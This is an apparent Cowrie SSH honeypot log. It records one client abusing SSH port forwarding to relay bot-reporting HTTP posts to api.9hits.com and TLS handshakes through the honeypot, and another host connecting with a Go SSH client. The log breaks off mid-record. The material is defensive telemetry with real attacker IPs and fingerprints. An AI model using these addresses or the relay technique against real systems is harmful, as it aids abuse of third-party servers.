{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.297166Z","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.384865Z","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.565858Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UEtWUVZQYVY8azw8MmdBYQ%3D%3DZGa424nFGDxTrjY%2BiASICA1mHafHkNGU14ATHWmytRtiqTFWHF0yBxJHLWubXWeUcbzooSEdbdrjEY1mBklFdjW5o7tozZn6xTs0lJUOcAYC3FRFbpUffZqhxswEmhMyvbFZnYgr8zAjajCCg70TRyrxukMmBkBTh%2FVR2SsUX1sij0Oa0xiSmnKZoUILFq4SSrSb77hS4o%2BNqsZG2qVaRtrGpN82kAKH1vkf%2BCPZCTDAIpnDcizPP03wyMLR0acVwI7nfMYVRZGyVlas%2FH%2BKJ7WjQhbvWHajRbn8fbcnPIdIxOrxrAYWLPAyHnkFYO%2FfH9l%2FEXjPo5eIWwwjSu8Kct78ItL6p85d6O6AbPr3Y83oErjuXK91WCysPYlfqgKpR463wksGp7519ARieAapsXxHQn9X7mtcolAQDWkj%2FPYTpK4ZPPPnfskD2zxkytFpkh3bT0teHNNQHr8c7fP1cNlceGbYhGSfa7m7K%2F955X3X1nvq%2FXRYx5zvl2aHzFTBCmbkQDtfivEkhgJdXlqPDBfg3GuVASlcqa%2Fg92IUZpIJw%2BOAJN2TdOJzs624USiERPZKBJ649FJ7f0kFEXb6TiBsH1hm9coxGpqZUmN76xUWiRg7zpYtb8UYeUXKUtfJhBv2hUSPQLiN3xM9C1diNDHIu4amlEa%2FVR0Tnlr02orjpqMvFDF75ygpkZtgtlE0VTBqfaLTiHslmq52hTKVpJYeETBNa%2BkHUr7JVDNEnAc1ZZQCPgrDKwxHfJ%2B2eSD56U%2FwWKQKm%2Bc5DGLiyrZsA0HJOoPjO5xsbnq6GzHKFBKzuqO0c573VXzXIitbBmT%2FS3PlT8K3JeF6tvVF0UWFjQqxTPONrSzBLpq1o3wdOfHAeg46qejRQ%2BdI0H48QUKtessajeYBd6SxgnuBj9I4Ba4%2BvuKnUiJrl%2Bsv3U6nWcO6bm%2Fk1whZpNi1sJHBWKUwJO7e6inWlwX1HEelmCRJVnEiY6JY9pKcuEJV4sndg4TVJNBNEVEYZJHeAMEBVf%2FtS2dt%2FOvjGvnFX3STP6nRf055BEiA11XCAFMze7y21dY164AhPgh79nJfBUiW5A0S'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UEtWUVZQYVY8azw8MmdBYQ%3D%3DZGa424nFGDxTrjY%2BiASICA1mHafHkNGU14ATHWmytRtiqTFWHF0yBxJHLWubXWeUcbzooSEdbdrjEY1mBklFdjW5o7tozZn6xTs0lJUOcAYC3FRFbpUffZqhxswEmhMyvbFZnYgr8zAjajCCg70TRyrxukMmBkBTh%2FVR2SsUX1sij0Oa0xiSmnKZoUILFq4SSrSb77hS4o%2BNqsZG2qVaRtrGpN82kAKH1vkf%2BCPZCTDAIpnDcizPP03wyMLR0acVwI7nfMYVRZGyVlas%2FH%2BKJ7WjQhbvWHajRbn8fbcnPIdIxOrxrAYWLPAyHnkFYO%2FfH9l%2FEXjPo5eIWwwjSu8Kct78ItL6p85d6O6AbPr3Y83oErjuXK91WCysPYlfqgKpR463wksGp7519ARieAapsXxHQn9X7mtcolAQDWkj%2FPYTpK4ZPPPnfskD2zxkytFpkh3bT0teHNNQHr8c7fP1cNlceGbYhGSfa7m7K%2F955X3X1nvq%2FXRYx5zvl2aHzFTBCmbkQDtfivEkhgJdXlqPDBfg3GuVASlcqa%2Fg92IUZpIJw%2BOAJN2TdOJzs624USiERPZKBJ649FJ7f0kFEXb6TiBsH1hm9coxGpqZUmN76xUWiRg7zpYtb8UYeUXKUtfJhBv2hUSPQLiN3xM9C1diNDHIu4amlEa%2FVR0Tnlr02orjpqMvFDF75ygpkZtgtlE0VTBqfaLTiHslmq52hTKVpJYeETBNa%2BkHUr7JVDNEnAc1ZZQCPgrDKwxHfJ%2B2eSD56U%2FwWKQKm%2Bc5DGLiyrZsA0HJOoPjO5xsbnq6GzHKFBKzuqO0c573VXzXIitbBmT%2FS3PlT8K3JeF6tvVF0UWFjQqxTPONrSzBLpq1o3wdOfHAeg46qejRQ%2BdI0H48QUKtessajeYBd6SxgnuBj9I4Ba4%2BvuKnUiJrl%2Bsv3U6nWcO6bm%2Fk1whZpNi1sJHBWKUwJO7e6inWlwX1HEelmCRJVnEiY6JY9pKcuEJV4sndg4TVJNBNEVEYZJHeAMEBVf%2FtS2dt%2FOvjGvnFX3STP6nRf055BEiA11XCAFMze7y21dY164AhPgh79nJfBUiW5A0S'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.568373Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.852900Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xb8\\x0fo\\x9d\\x1a\\x91\\x97\\xd0\\xfc\\xbf\\x87\\rY6\\x178<\\x87\\xd1\\xc5\\xcb\\x1f\\xf6\\xd3Y\\xb4\\xce\\xa1=6b u\\xf4\\x88\\xc6\\xa2\\xb32\\x82\\xf2\\nz\\xe3\\x02\\xabu\\x88\\x8d\\x1d\\xcf<\\x16\\xc0\\xa9\\x1d\\\\\\xc9c,\\xf7\\xa0\\xb3v\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 wY`\\x9e\\xcd\\xb6\\xf3\\xc9\\xd8\\xf8+\\xb6\\x17\\x1c\\x98\\xe76~\\xb2\\x9d\\xb2\\x03\\xc4\\xe0N\\xdb\\xa2\\x88\\xa5\\xae\\xba2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xb8\\x0fo\\x9d\\x1a\\x91\\x97\\xd0\\xfc\\xbf\\x87\\rY6\\x178<\\x87\\xd1\\xc5\\xcb\\x1f\\xf6\\xd3Y\\xb4\\xce\\xa1=6b u\\xf4\\x88\\xc6\\xa2\\xb32\\x82\\xf2\\nz\\xe3\\x02\\xabu\\x88\\x8d\\x1d\\xcf<\\x16\\xc0\\xa9\\x1d\\\\\\xc9c,\\xf7\\xa0\\xb3v\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 wY`\\x9e\\xcd\\xb6\\xf3\\xc9\\xd8\\xf8+\\xb6\\x17\\x1c\\x98\\xe76~\\xb2\\x9d\\xb2\\x03\\xc4\\xe0N\\xdb\\xa2\\x88\\xa5\\xae\\xba2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:26.855918Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62598,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05acb328ce1","protocol":"ssh","message":"New connection: 91.92.40.36:62598 (159.203.135.109:22) [session: a05acb328ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:27.250405Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:27.387555Z","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:27.655782Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x89\\x08\\n\\x12;F\\x19\\xdd\\x05\\xa3\\x0c!\\t\\x82\\x8681@\\r\\x81`OY\\xa6\\x00\\xed\\x8e\\xd4:?\\xfe \\xff?\\xcf\\x16\\xc7W\\x08~_J\\xd9\\x04W\\xd8\\xac\\xf3p\\xec5\\xd4i\\x9a!]\\xaf.+\\xaa\\xb6\\xebk\\x17\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10=\\\\\\xb4\\xb4\\xa3\\xa8\\t#\\xa1\\xef\\x8f\\x03c#%\\xf8\\xcb\\xbfn\\xa9\\x02\\xad\\xeb\\xc4\\xce\\xc5E\\xc9~O]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x89\\x08\\n\\x12;F\\x19\\xdd\\x05\\xa3\\x0c!\\t\\x82\\x8681@\\r\\x81`OY\\xa6\\x00\\xed\\x8e\\xd4:?\\xfe \\xff?\\xcf\\x16\\xc7W\\x08~_J\\xd9\\x04W\\xd8\\xac\\xf3p\\xec5\\xd4i\\x9a!]\\xaf.+\\xaa\\xb6\\xebk\\x17\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10=\\\\\\xb4\\xb4\\xa3\\xa8\\t#\\xa1\\xef\\x8f\\x03c#%\\xf8\\xcb\\xbfn\\xa9\\x02\\xad\\xeb\\xc4\\xce\\xc5E\\xc9~O]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:27.659427Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:28.050547Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:30.911317Z","src_ip":"91.92.40.36","session":"a05acb328ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:30.915475Z","src_ip":"91.92.40.36","session":"a05acb328ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51540,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b0ab7e9e7d","protocol":"ssh","message":"New connection: 91.92.40.36:51540 (159.203.135.109:22) [session: 99b0ab7e9e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:31.625883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:32.223716Z","src_ip":"91.92.40.36","session":"99b0ab7e9e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ec